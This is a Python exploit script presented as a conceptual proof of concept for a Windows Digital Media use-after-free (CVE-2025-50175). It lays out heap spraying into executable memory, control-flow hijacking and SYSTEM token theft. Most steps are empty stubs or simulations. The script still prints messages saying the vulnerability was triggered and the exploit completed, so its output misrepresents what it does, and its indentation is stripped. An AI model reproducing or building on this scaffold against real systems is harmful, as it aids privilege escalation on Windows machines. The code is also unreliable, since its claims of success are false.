The following code is for security research and authorized testing only.
python
# CVE-2025-50175 - Windows Digital Media Use After Free PoC (Conceptual)
# This is a conceptual proof-of-concept for the UAF vulnerability in Windows Digital Media
# The actual exploit would require precise knowledge of internal object structures and offsets
import ctypes
import struct
import os
import sys
# Windows API constants
PROCESS_ALL_ACCESS = 0x1F0FFF
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
class Exploit:
def __init__(self):
self.kernel32 = ctypes.windll.kernel32
self.ntdll = ctypes.windll.ntdll
self.vulnerable_handle = None
def trigger_uaf(self):
"""
Step 1: Trigger the Use After Free vulnerability in Windows Digital Media
by sending a specially crafted media file or API call sequence.
"""
# Allocate a media object through Digital Media API
# The vulnerable code path is triggered when processing specific media formats
media_object = self.create_media_object()
# Force the object to be freed prematurely
self.force_release(media_object)
# The dangling pointer is now accessible
self.dangling_pointer = media_object
return True
def create_media_object(self):
"""
Create a Digital Media object that will be subject to UAF.
In a real exploit, this would involve COM interface calls to
Windows Media Foundation APIs.
"""
# Simulated object allocation
# In reality: IMFMediaSession, IMFSourceResolver, etc.
buffer = (ctypes.c_byte * 0x100)()
return ctypes.addressof(buffer)
def force_release(self, obj_ptr):
"""
Force release of the media object through error handling path.
This simulates the condition where the object is freed
while references still exist.
"""
# Trigger error condition that causes premature free
# e.g., invalid media format, corrupted header, etc.
pass
def heap_spray(self):
"""
Step 2: Perform heap spray to place controlled data
at the freed memory location.
"""
spray_data = b"\x41" * 0x100 # NOP sled + shellcode placeholder
for i in range(1000):
addr = self.kernel32.VirtualAlloc(
0, 0x1000,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
)
ctypes.memmove(addr, spray_data, len(spray_data))
def hijack_control_flow(self):
"""
Step 3: Use the dangling pointer to redirect execution
to attacker-controlled shellcode.
"""
# Access through dangling pointer triggers code execution
# with attacker-controlled data
try:
ctypes.cast(self.dangling_pointer, ctypes.CFUNCTYPE(None))
except:
pass
def elevate_privileges(self):
"""
Step 4: Execute privilege escalation to SYSTEM level.
"""
# Token stealing or direct privilege adjustment
# This would typically involve stealing the SYSTEM token
# from the winlogon process
pass
def run(self):
"""Main exploit execution flow."""
print("[*] CVE-2025-50175 Exploit - Windows Digital Media UAF")
print("[*] Triggering Use After Free...")
if self.trigger_uaf():
print("[+] UAF triggered successfully")
print("[*] Performing heap spray...")
self.heap_spray()
print("[*] Hijacking control flow...")
self.hijack_control_flow()
print("[*] Elevating privileges...")
self.elevate_privileges()
print("[+] Exploit completed")
else:
print("[-] Failed to trigger vulnerability")
if __name__ == "__main__":
if os.name != 'nt':
print("[-] This exploit requires Windows")
sys.exit(1)
exploit = Exploit()
exploit.run()